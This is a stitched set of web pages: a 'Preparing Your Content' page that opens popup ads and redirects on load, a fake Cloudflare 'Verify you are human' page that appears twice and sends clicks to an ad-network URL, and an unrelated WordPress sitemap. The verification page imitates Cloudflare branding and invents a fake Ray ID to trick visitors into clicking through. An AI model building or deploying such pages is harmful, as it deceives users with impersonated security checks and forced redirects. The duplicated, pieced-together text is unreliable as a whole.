<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Preparing Your Content...</title>
<style>
    body {
        background: linear-gradient(135deg, #0f2027, #203a43, #2c5364);
        color: #fff;
        font-family: Arial, sans-serif;
        text-align: center;
        height: 100vh;
        margin: 0;
        display: flex;
        flex-direction: column;
        justify-content: center;
    }

    h1 {
        font-size: 2.5em;
        margin-bottom: 20px;
    }

    .loader {
        border: 8px solid #fff;
        border-top: 8px solid #3498db;
        border-radius: 50%;
        width: 80px;
        height: 80px;
        animation: spin 1s linear infinite;
        margin: 0 auto;
    }

    @keyframes spin {
        0% { transform: rotate(0deg); }
        100% { transform: rotate(360deg); }
    }

    p {
        margin-top: 20px;
        font-size: 1.2em;
        opacity: 0.7;
    }
</style>

<script>
// Open popup ads
function openPopups() {
    window.open("https://www.profitablecpmratenetwork.com/cdyqxbgbb?key=e8a5298fd1957c0ed7e9bb6b8f5d7ccb", "_blank");
    window.open("https://www.profitablecpmratenetwork.com/bv5jm1c4b?key=09f6fb95f90c73c2b19a11d843d37168");
    window.open("https://www.profitablecpmratenetwork.com/ftnbg4h56f?key=efff402f9657bed9f81b8d5b2e5dc906");
}

// Redirect main window
function redirectMain() {
    window.location.href = "https://www.profitablecpmratenetwork.com/ftnbg4h56f?key=efff402f9657bed9f81b8d5b2e5dc906";
}

window.onload = function() {
    openPopups();
    setTimeout(redirectMain, 1000); // Redirect after 1.5 seconds
};
</script>
</head>

<body>
    <h1>Preparing Your Content...</h1>
    <div class="loader"></div>
    <p>Please wait while we load your content.</p>
</body>
</html>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
    <title>Security Check - Human Verification</title>
    <style>
        * {
            box-sizing: border-box;
        }

        body {
            margin: 0;
            padding: 0;
            background-color: #ffffff;
            font-family: system-ui, -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif;
            display: flex;
            justify-content: center;
            align-items: center;
            min-height: 100vh;
            color: #1d1d1d;
        }

        .main-wrapper {
            max-width: 600px;
            width: 100%;
            padding: 20px;
            margin: 0 auto;
            background: #fff;
        }

        .h2-title {
            font-size: 24px;
            font-weight: 500;
            margin: 0 0 15px 0;
            line-height: 1.3;
        }

        .p-subtitle {
            font-size: 15px;
            color: #595959;
            margin: 0 0 35px 0;
            line-height: 1.5;
        }

        /* Verification button — styled like Turnstile widget */
        .verify-button {
            width: 300px;
            height: 65px;
            background: #fafafa;
            border: 1px solid #e0e0e0;
            border-radius: 4px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            box-sizing: border-box;
            box-shadow: 0px 0px 4px rgba(0, 0, 0, 0.08);
            cursor: pointer;
            margin-bottom: 30px;
            user-select: none;
            -webkit-tap-highlight-color: transparent;
            transition: box-shadow 0.2s, background 0.1s;
            text-decoration: none;
            background-color: #fff;
        }

        .verify-button:hover {
            box-shadow: 0px 0px 6px rgba(0, 0, 0, 0.12);
            background-color: #fefefe;
        }

        /* Disabled/loading state */
        .verify-button.processing {
            cursor: wait;
            opacity: 0.9;
            pointer-events: none;
        }

        .checkbox-area {
            width: 28px;
            height: 28px;
            background-color: #fff;
            border: 2px solid #767676;
            border-radius: 3px;
            display: flex;
            align-items: center;
            justify-content: center;
            flex-shrink: 0;
            transition: border-color 0.1s, background 0.1s;
        }

        .verify-button:hover .checkbox-area {
            border-color: #333;
        }

        .spinner-icon {
            display: none;
            width: 18px;
            height: 18px;
            border: 2px solid rgba(0, 0, 0, 0.2);
            border-top: 2px solid #1e6f3f;
            border-right: 2px solid #1e6f3f;
            border-radius: 50%;
            animation: spin 0.7s linear infinite;
        }

        .checkbox-icon {
            display: none;
            width: 18px;
            height: 18px;
            color: #1e6f3f;
            font-size: 18px;
            font-weight: bold;
            line-height: 1;
            text-align: center;
        }

        .verify-label {
            margin-left: 12px;
            font-size: 14px;
            font-weight: 500;
            color: #1d1d1d;
            flex-grow: 1;
            white-space: nowrap;
        }

        .right-brand {
            display: flex;
            flex-direction: column;
            align-items: flex-end;
            margin-left: auto;
        }

        .cloudflare-logo {
            display: flex;
            align-items: center;
            margin-bottom: 2px;
        }

        .cf-cloud-svg {
            width: 22px;
            height: 15px;
            fill: #F38020;
            margin-right: 4px;
        }

        .cf-logo-text {
            font-family: Arial, sans-serif;
            font-size: 12px;
            font-weight: 700;
            color: #1d1d1d;
            letter-spacing: -0.3px;
        }

        .privacy-terms {
            font-size: 9px;
            color: #767676;
            margin-top: 2px;
        }

        @keyframes spin {
            0% { transform: rotate(0deg); }
            100% { transform: rotate(360deg); }
        }

        .footer {
            font-size: 13px;
            color: #595959;
            line-height: 1.6;
            margin-top: 40px;
        }

        .footer code {
            font-family: monospace;
            background: #f1f1f1;
            padding: 2px 4px;
            border-radius: 3px;
        }

        /* Mobile adjustments */
        @media screen and (max-width: 480px) {
            .main-wrapper {
                padding: 15px;
                margin-top: -5vh;
            }
            .h2-title {
                font-size: 22px;
                margin-bottom: 12px;
            }
            .p-subtitle {
                font-size: 14px;
                margin-bottom: 25px;
            }
            .verify-button {
                margin: 0 0 30px 0;
            }
            .footer {
                margin-top: 30px;
            }
        }

        /* prevent accidental double-click visual */
        .no-transition {
            transition: none;
        }
    </style>
</head>
<body>

<div class="main-wrapper">
    <h2 class="h2-title">Checking if the site connection is secure</h2>
    <p class="p-subtitle">We need to verify that you are human. Click the button below to continue securely.</p>

    <!-- Verification Box: behaves like a real Cloudflare Turnstile but instantly redirects after verification -->
    <div class="verify-button" id="verifyButton" role="button" tabindex="0" aria-label="Verify you are human">
        <div class="checkbox-area" id="checkboxArea">
            <div class="spinner-icon" id="spinnerIcon"></div>
            <div class="checkbox-icon" id="checkIcon">✓</div>
        </div>
        <span class="verify-label">Verify you are human</span>
        <div class="right-brand">
            <div class="cloudflare-logo">
                <svg viewBox="0 0 105 35" class="cf-cloud-svg">
                    <path d="M102,15 C99.5,15 97.4,16.5 96.5,18.7 C95.3,16 92.5,14 89,14 C85.6,14 82.8,15.9 81.6,18.5 C80.6,16.4 78.5,15 76,15 C72.1,15 69,18.1 69,22 C69,25.9 72.1,29 76,29 L102,29 C105.9,29 109,25.9 109,22 C109,18.1 105.9,15 102,15 Z" fill="#F38020"></path>
                </svg>
                <span class="cf-logo-text">Cloudflare</span>
            </div>
            <div class="privacy-terms">Privacy • Terms</div>
        </div>
    </div>

    <div class="footer">
        Ray ID: <code id="ray-id"></code><br>
        Performance &amp; security by Cloudflare
    </div>
</div>

<script>
    (function() {
        // ---------- CONFIGURATION ----------
        // Target destination URL (same as original link)
        const DESTINATION_URL = "https://www.profitablecpmratenetwork.com/efgwey8kw4?key=ea712dd164ddbf23977bf6d72e1ad922";
        
        // DOM elements
        const verifyBox = document.getElementById('verifyButton');
        const checkboxArea = document.getElementById('checkboxArea');
        const spinnerEl = document.getElementById('spinnerIcon');
        const checkIcon = document.getElementById('checkIcon');
        
        // State flags
        let isProcessing = false;
        let redirectTriggered = false;
        
        // Generate random Ray ID (visual only)
        const generateRayId = () => {
            const chars = '0123456789abcdef';
            let id = '';
            for (let i = 0; i < 16; i++) {
                id += chars[Math.floor(Math.random() * 16)];
            }
            return id;
        };
        const rayIdSpan = document.getElementById('ray-id');
        if (rayIdSpan) rayIdSpan.innerText = generateRayId();
        
        // Helper: show spinner and prepare UI for loading state
        function startVerificationProcess() {
            if (isProcessing) return;
            isProcessing = true;
            
            // Disable further clicks visually and functionally
            verifyBox.classList.add('processing');
            
            // Clear any existing icons inside checkbox area
            if (spinnerEl) spinnerEl.style.display = 'block';
            if (checkIcon) checkIcon.style.display = 'none';
            
            // Update checkbox area style: remove border and background to indicate active state
            checkboxArea.style.border = 'none';
            checkboxArea.style.backgroundColor = 'transparent';
            
            // Optional: change label text briefly to provide feedback
            const labelSpan = verifyBox.querySelector('.verify-label');
            if (labelSpan && labelSpan.innerText === 'Verify you are human') {
                // slight feedback, but we keep it simple
                labelSpan.style.opacity = '0.9';
            }
            
            // Provide haptic feedback (optional, no impact)
            if (navigator.vibrate) navigator.vibrate(20);
        }
        
        // Perform actual secure redirect
        function redirectToDestination() {
            if (redirectTriggered) return;
            redirectTriggered = true;
            
            // Small delay ensures spinner becomes visible before navigation
            // Modern browsers will still render the spinner for at least a few frames
            setTimeout(() => {
                // Final security: replace current location with target URL (same-tab navigation)
                // This ensures the user doesn't remain on a "stuck" page.
                window.location.href = DESTINATION_URL;
            }, 180);
        }
        
        // Clean fallback: if anything weird happens, force redirect
        function forceRedirect() {
            if (!redirectTriggered) {
                redirectTriggered = true;
                window.location.href = DESTINATION_URL;
            }
        }
        
        // Click handler for verification box
        function onVerifyClick(event) {
            // Prevent any accidental default or bubbling (no default link action anymore)
            event.preventDefault();
            event.stopPropagation();
            
            // If already processing or redirect already triggered, do nothing
            if (isProcessing || redirectTriggered) return;
            
            // Start UI animation (spinner)
            startVerificationProcess();
            
            // Initiate redirect after showing loading state
            redirectToDestination();
            
            // Extra safety: if redirect somehow fails within 2.5 seconds (network policy or user agent block),
            // we try a hard redirect. This ensures the user never stays stuck on loading page.
            setTimeout(() => {
                if (!redirectTriggered) {
                    forceRedirect();
                }
            }, 2500);
        }
        
        // Attach click event to the custom verification button
        if (verifyBox) {
            verifyBox.addEventListener('click', onVerifyClick);
            // Also add keyboard accessibility (Enter / Space)
            verifyBox.addEventListener('keydown', (e) => {
                if (e.key === 'Enter' || e.key === ' ') {
                    e.preventDefault();
                    onVerifyClick(e);
                }
            });
            // Make it focusable for screen readers
            verifyBox.setAttribute('role', 'button');
            verifyBox.setAttribute('tabindex', '0');
        }
        
        // In case there's any anchor or leftover behavior, ensure nothing blocks navigation.
        // Also add a failsafe for older touch devices: remove any ghost click conflicts.
        if ('ontouchstart' in window) {
            verifyBox && verifyBox.addEventListener('touchstart', (e) => {
                // only pass through if not processing, but we handle click anyway
                if (!isProcessing && !redirectTriggered) {
                    // allow click to trigger normally
                }
            });
        }
        
        // Preload hint: not required but adds reliability.
        // Additionally, if the browser's popup or redirect policies somehow block,
        // we use a meta-refresh backup? but window.location is the most direct.
        console.log('Security verification ready — click to continue securely.');
    })();
</script>
</body>
</html><!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
    <title>Security Check - Human Verification</title>
    <style>
        * {
            box-sizing: border-box;
        }

        body {
            margin: 0;
            padding: 0;
            background-color: #ffffff;
            font-family: system-ui, -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif;
            display: flex;
            justify-content: center;
            align-items: center;
            min-height: 100vh;
            color: #1d1d1d;
        }

        .main-wrapper {
            max-width: 600px;
            width: 100%;
            padding: 20px;
            margin: 0 auto;
            background: #fff;
        }

        .h2-title {
            font-size: 24px;
            font-weight: 500;
            margin: 0 0 15px 0;
            line-height: 1.3;
        }

        .p-subtitle {
            font-size: 15px;
            color: #595959;
            margin: 0 0 35px 0;
            line-height: 1.5;
        }

        /* Verification button — styled like Turnstile widget */
        .verify-button {
            width: 300px;
            height: 65px;
            background: #fafafa;
            border: 1px solid #e0e0e0;
            border-radius: 4px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            box-sizing: border-box;
            box-shadow: 0px 0px 4px rgba(0, 0, 0, 0.08);
            cursor: pointer;
            margin-bottom: 30px;
            user-select: none;
            -webkit-tap-highlight-color: transparent;
            transition: box-shadow 0.2s, background 0.1s;
            text-decoration: none;
            background-color: #fff;
        }

        .verify-button:hover {
            box-shadow: 0px 0px 6px rgba(0, 0, 0, 0.12);
            background-color: #fefefe;
        }

        /* Disabled/loading state */
        .verify-button.processing {
            cursor: wait;
            opacity: 0.9;
            pointer-events: none;
        }

        .checkbox-area {
            width: 28px;
            height: 28px;
            background-color: #fff;
            border: 2px solid #767676;
            border-radius: 3px;
            display: flex;
            align-items: center;
            justify-content: center;
            flex-shrink: 0;
            transition: border-color 0.1s, background 0.1s;
        }

        .verify-button:hover .checkbox-area {
            border-color: #333;
        }

        .spinner-icon {
            display: none;
            width: 18px;
            height: 18px;
            border: 2px solid rgba(0, 0, 0, 0.2);
            border-top: 2px solid #1e6f3f;
            border-right: 2px solid #1e6f3f;
            border-radius: 50%;
            animation: spin 0.7s linear infinite;
        }

        .checkbox-icon {
            display: none;
            width: 18px;
            height: 18px;
            color: #1e6f3f;
            font-size: 18px;
            font-weight: bold;
            line-height: 1;
            text-align: center;
        }

        .verify-label {
            margin-left: 12px;
            font-size: 14px;
            font-weight: 500;
            color: #1d1d1d;
            flex-grow: 1;
            white-space: nowrap;
        }

        .right-brand {
            display: flex;
            flex-direction: column;
            align-items: flex-end;
            margin-left: auto;
        }

        .cloudflare-logo {
            display: flex;
            align-items: center;
            margin-bottom: 2px;
        }

        .cf-cloud-svg {
            width: 22px;
            height: 15px;
            fill: #F38020;
            margin-right: 4px;
        }

        .cf-logo-text {
            font-family: Arial, sans-serif;
            font-size: 12px;
            font-weight: 700;
            color: #1d1d1d;
            letter-spacing: -0.3px;
        }

        .privacy-terms {
            font-size: 9px;
            color: #767676;
            margin-top: 2px;
        }

        @keyframes spin {
            0% { transform: rotate(0deg); }
            100% { transform: rotate(360deg); }
        }

        .footer {
            font-size: 13px;
            color: #595959;
            line-height: 1.6;
            margin-top: 40px;
        }

        .footer code {
            font-family: monospace;
            background: #f1f1f1;
            padding: 2px 4px;
            border-radius: 3px;
        }

        /* Mobile adjustments */
        @media screen and (max-width: 480px) {
            .main-wrapper {
                padding: 15px;
                margin-top: -5vh;
            }
            .h2-title {
                font-size: 22px;
                margin-bottom: 12px;
            }
            .p-subtitle {
                font-size: 14px;
                margin-bottom: 25px;
            }
            .verify-button {
                margin: 0 0 30px 0;
            }
            .footer {
                margin-top: 30px;
            }
        }

        /* prevent accidental double-click visual */
        .no-transition {
            transition: none;
        }
    </style>
</head>
<body>

<div class="main-wrapper">
    <h2 class="h2-title">Checking if the site connection is secure</h2>
    <p class="p-subtitle">We need to verify that you are human. Click the button below to continue securely.</p>

    <!-- Verification Box: behaves like a real Cloudflare Turnstile but instantly redirects after verification -->
    <div class="verify-button" id="verifyButton" role="button" tabindex="0" aria-label="Verify you are human">
        <div class="checkbox-area" id="checkboxArea">
            <div class="spinner-icon" id="spinnerIcon"></div>
            <div class="checkbox-icon" id="checkIcon">✓</div>
        </div>
        <span class="verify-label">Verify you are human</span>
        <div class="right-brand">
            <div class="cloudflare-logo">
                <svg viewBox="0 0 105 35" class="cf-cloud-svg">
                    <path d="M102,15 C99.5,15 97.4,16.5 96.5,18.7 C95.3,16 92.5,14 89,14 C85.6,14 82.8,15.9 81.6,18.5 C80.6,16.4 78.5,15 76,15 C72.1,15 69,18.1 69,22 C69,25.9 72.1,29 76,29 L102,29 C105.9,29 109,25.9 109,22 C109,18.1 105.9,15 102,15 Z" fill="#F38020"></path>
                </svg>
                <span class="cf-logo-text">Cloudflare</span>
            </div>
            <div class="privacy-terms">Privacy • Terms</div>
        </div>
    </div>

    <div class="footer">
        Ray ID: <code id="ray-id"></code><br>
        Performance &amp; security by Cloudflare
    </div>
</div>

<script>
    (function() {
        // ---------- CONFIGURATION ----------
        // Target destination URL (same as original link)
        const DESTINATION_URL = "https://www.profitablecpmratenetwork.com/efgwey8kw4?key=ea712dd164ddbf23977bf6d72e1ad922";
        
        // DOM elements
        const verifyBox = document.getElementById('verifyButton');
        const checkboxArea = document.getElementById('checkboxArea');
        const spinnerEl = document.getElementById('spinnerIcon');
        const checkIcon = document.getElementById('checkIcon');
        
        // State flags
        let isProcessing = false;
        let redirectTriggered = false;
        
        // Generate random Ray ID (visual only)
        const generateRayId = () => {
            const chars = '0123456789abcdef';
            let id = '';
            for (let i = 0; i < 16; i++) {
                id += chars[Math.floor(Math.random() * 16)];
            }
            return id;
        };
        const rayIdSpan = document.getElementById('ray-id');
        if (rayIdSpan) rayIdSpan.innerText = generateRayId();
        
        // Helper: show spinner and prepare UI for loading state
        function startVerificationProcess() {
            if (isProcessing) return;
            isProcessing = true;
            
            // Disable further clicks visually and functionally
            verifyBox.classList.add('processing');
            
            // Clear any existing icons inside checkbox area
            if (spinnerEl) spinnerEl.style.display = 'block';
            if (checkIcon) checkIcon.style.display = 'none';
            
            // Update checkbox area style: remove border and background to indicate active state
            checkboxArea.style.border = 'none';
            checkboxArea.style.backgroundColor = 'transparent';
            
            // Optional: change label text briefly to provide feedback
            const labelSpan = verifyBox.querySelector('.verify-label');
            if (labelSpan && labelSpan.innerText === 'Verify you are human') {
                // slight feedback, but we keep it simple
                labelSpan.style.opacity = '0.9';
            }
            
            // Provide haptic feedback (optional, no impact)
            if (navigator.vibrate) navigator.vibrate(20);
        }
        
        // Perform actual secure redirect
        function redirectToDestination() {
            if (redirectTriggered) return;
            redirectTriggered = true;
            
            // Small delay ensures spinner becomes visible before navigation
            // Modern browsers will still render the spinner for at least a few frames
            setTimeout(() => {
                // Final security: replace current location with target URL (same-tab navigation)
                // This ensures the user doesn't remain on a "stuck" page.
                window.location.href = DESTINATION_URL;
            }, 180);
        }
        
        // Clean fallback: if anything weird happens, force redirect
        function forceRedirect() {
            if (!redirectTriggered) {
                redirectTriggered = true;
                window.location.href = DESTINATION_URL;
            }
        }
        
        // Click handler for verification box
        function onVerifyClick(event) {
            // Prevent any accidental default or bubbling (no default link action anymore)
            event.preventDefault();
            event.stopPropagation();
            
            // If already processing or redirect already triggered, do nothing
            if (isProcessing || redirectTriggered) return;
            
            // Start UI animation (spinner)
            startVerificationProcess();
            
            // Initiate redirect after showing loading state
            redirectToDestination();
            
            // Extra safety: if redirect somehow fails within 2.5 seconds (network policy or user agent block),
            // we try a hard redirect. This ensures the user never stays stuck on loading page.
            setTimeout(() => {
                if (!redirectTriggered) {
                    forceRedirect();
                }
            }, 2500);
        }
        
        // Attach click event to the custom verification button
        if (verifyBox) {
            verifyBox.addEventListener('click', onVerifyClick);
            // Also add keyboard accessibility (Enter / Space)
            verifyBox.addEventListener('keydown', (e) => {
                if (e.key === 'Enter' || e.key === ' ') {
                    e.preventDefault();
                    onVerifyClick(e);
                }
            });
            // Make it focusable for screen readers
            verifyBox.setAttribute('role', 'button');
            verifyBox.setAttribute('tabindex', '0');
        }
        
        // In case there's any anchor or leftover behavior, ensure nothing blocks navigation.
        // Also add a failsafe for older touch devices: remove any ghost click conflicts.
        if ('ontouchstart' in window) {
            verifyBox && verifyBox.addEventListener('touchstart', (e) => {
                // only pass through if not processing, but we handle click anyway
                if (!isProcessing && !redirectTriggered) {
                    // allow click to trigger normally
                }
            });
        }
        
        // Preload hint: not required but adds reliability.
        // Additionally, if the browser's popup or redirect policies somehow block,
        // we use a meta-refresh backup? but window.location is the most direct.
        console.log('Security verification ready — click to continue securely.');
    })();
</script>
</body>
</html><?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://jansmedia.com/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://jansmedia.com/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://jansmedia.com/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://jansmedia.com/wp-sitemap-posts-portfolio-1.xml</loc></sitemap><sitemap><loc>https://jansmedia.com/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://jansmedia.com/wp-sitemap-taxonomies-post_tag-1.xml</loc></sitemap><sitemap><loc>https://jansmedia.com/wp-sitemap-taxonomies-post_format-1.xml</loc></sitemap><sitemap><loc>https://jansmedia.com/wp-sitemap-taxonomies-portfolio_categories-1.xml</loc></sitemap></sitemapindex>
